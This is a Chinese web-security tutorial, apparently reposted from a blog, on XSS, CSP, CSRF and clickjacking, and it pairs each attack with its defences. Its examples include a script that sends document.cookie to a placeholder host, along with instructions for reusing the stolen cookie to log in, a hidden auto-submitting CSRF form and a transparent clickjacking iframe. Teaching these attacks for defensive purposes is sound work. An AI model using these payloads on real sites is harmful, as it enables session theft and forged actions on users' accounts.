web前端安全 | 易学教程

1. xss：cross site scripting，跨站脚本攻击。

1.1 定义：指的是通过存在安全漏洞的web网站注册用户的浏览器内运行非法的非本站点HTML标签或js进行的一种攻击方式。

1.2 影响：利用虚假输入表单骗取用户个人信息。利用脚本窃取用户cookie值，帮助攻击者发送恶意请求（如伪造文章或者图片）。

1.3 案例：

1.3.1 反射型：url参数直接注入，案例如下：

//1. 正常网站发送请求:参数from=Ace 
窗口输入：https://xxx.com/api?from=Ace 
//2. 尝试xss攻击:js修改弹出弹窗alert()
窗口输入：https://xxx.com/api?from=<script>alert('尝试在当前页面修改js攻击是否成功')</script>
//3. 如果尝试xss攻击成功，可以弹出弹窗，则可以尝试用xss获取用户cookie:即执行指定攻击的js代码
窗口输入：https://xxx.com/api?from=<script scr='https://xxx.com/hack.js'></script>
//4. 在https://xxx.com/hack.js代码中：获取cookie
var img=new Image()
img.src='https://xx.com/img?c='+document.cookie  //xss攻击获取的cookie返回给后端
//5. 根据cookie，攻击者可以随意跳过账号密码输入登录被攻击者账户，比如打开没有登录的该网站，在控制台输入document.cookie='刚才获取到的被攻击者用户的cookie，就可以跳过账户密码输入，直接登录被攻击者的账号'

1.3.2 存储型：存储到数据库后读取使用，案例如下：

//在输入框/文本框内容发送xss攻击：比如输入框的内容为
inputVal="我是输入框的内容<script src='https://xxx.com/hack.js'></script>"

1.4 xss危害：获取页面数据，获取cookie，劫持前端逻辑，发送非法请求，偷取网站任意数据，偷取用户资料，偷取用户的秘密和登录态，欺骗用户。

1.5 防御xss攻击：

1.5.1 在后端的代码中设置浏览器xss过滤：

ctx.set("X-XSS-Protection",0)  //第二个参数为0（禁止xss过滤），为1时（启动xss过滤，浏览器默认是启动xss过滤的，如果检测到攻击，浏览器将会清楚页面，删除不安全的部分）。

1.5.2 在前端.ejs文件中：将<%from%>替换为<%=from%> 或者<%-from%>。

<h1>登录名：<%=from%></h2>

2. csp：content security policy，内容安全策略：是一个附加的安全层，用户帮助检测和缓解某些类型攻击，包括xss跨站脚本攻击和数据注入等攻击，这些攻击可以用于实现数据窃取到网站破坏或作为恶意软件发布等用途。

2.1 csp本质：就是后端接受请求时，设置建立白名单，开发者明确告诉浏览器哪些外部资源可以加载和执行，通过配置规则，实现浏览器拦截工具，以此达到尽量减少xss工具。

2.2 csp实现方法：

//1. 只允许加载本站的资源
ctx.set('Content-Security-Policy',"default-src 'self'")
//2. 只允许加载https协议图片
ctx.set('Content-Security-Policy',"img-src https://*")
//3. 不允许加载任何来源框架
ctx.set('Content-Security-Policy',"child-src 'none'")
//4. 设置cookie不允许js读取修改
response.addHeader('Set-Cookie',"uid=1;path=/;HttpOnly")
/**5. 转义符：即后端通过封装转义函数，将请前端请求参数值中的<></>等特殊字符转义，
避免识别为标签执行<script src=''></script>等xss跨站脚本攻击，如str.replace(/</g,'&lt;')，
即实现将参数中所有的'<'符号转义为'&lt;'。注意：针对富文本内容，
如果转义了会存在无法渲染富文本的html标签内容。
**/
//6. 后端通过xss库实现白名单：即使存在xss跨站脚本攻击'<script scr='https://xxx.com/hack.js'></script>'前端渲染时，
//也只会识别为字符串，而不是执行<script scr='https://xxx.com/hack.js'></script>js代码。
let xss=require('xss')
let html=xss(a)  //a是前端传递过来的参数值，比如参数 a='<script scr='https://xxx.com/hack.js'></script>'

3. csrf：cross sit request forgery，跨站请求伪造，是一种常见的web工具，利用用户已经登录的身份，在用户不知情的情况下，以用户的名义完成非法操作：如用户已登录站点A，并在本地记录了cookie，在用户没有登出站点A的情况下（即cookie生效时），访问了恶意攻击者提供的引诱危险站点B，站点A并没有做任何csrf防御。

3.1 危害：利用用户登录态（即不需要获取cookie，只要当前用户是登录状态即可），用户不知情，完成业务请求，盗取用户资金（转账/消费），冒充用户发帖，损害网站声誉。

3.2 防御：

3.2.1 设置Referer Check-Https不发送referer：ctx.request.header.referer查看请求来源地址。

3.2.2 通过验证码：如短信验证。

3.2.3 在cookie中设置hash：攻击者在访问信任网站A时，虽然可以在浏览器上带cookie，但是网站A不仅仅通过cookie来判断用户身份，同时通过用户发送过来的内容的随机数请求来判断是否是真正用户发送的，攻击者在请求A时，不能提交的内容中产生伪随机数（cookie哈希化的值）。

3.3 案例：比如用户登录A正常网站，同时访问了B不安全的网站。那么B网站如果存在不安全的代码，就可以根据A网站在浏览器中的登录态，在用户不知情的状态下，发送模拟向A网站发送请求篡改请求参数。

//1. 在B网站中，执行了csrf攻击
<script>
    document.write(`
        <form name='form' action='网站A的某个登录后的请求地址，如评论http://A.com/comment' method='post'>
            B网站篡改评论内容:<input type='text' name='text' value='篡改的评论'/>
        </form>
    `)
    var iframe=document.createElement('iframe')
    iframe.name='csrf'
    iframe.style.display='none'
    document.body.appendChild(iframe)
    setTimeout(()=>{
        document.querySelector('form').submit() //提交篡改后的表单内容
    },1000)
</script>

4. 点击劫持：clickjacking，是一种视觉欺骗的攻击收到，攻击者将需要攻击的网站通过iframe嵌套方式嵌入自己的网页中，并设置iframe为透明，在页面中透出一个按钮诱导用户点击。

<iframe src='想让用户触发的透明网站地址' style='opacity:0' scrolling='0'>

</iframe>

4.1 防御：后端设置

4.1.1 设置X-FRAME-OPTIONS：这是http响应头，在现代浏览器中有很好的支持，这个响应头是伪劣防御iframe嵌套的点击劫持。

ctx.set('X-FRAME-OPTIONS',值)  
/**值包括:
DENY（页面不允许iframe方式展示），
SAMEORIGIN（页面可以在相同域名下通过iframe的方式展示），
ALLOW-FROM（页面需要指定iframe来源）。
**/

来源：CSDN

作者：Ace.斗皇

链接：https://blog.csdn.net/qq_42231156/article/details/104178585

标签

iframe

xss

cookie欺骗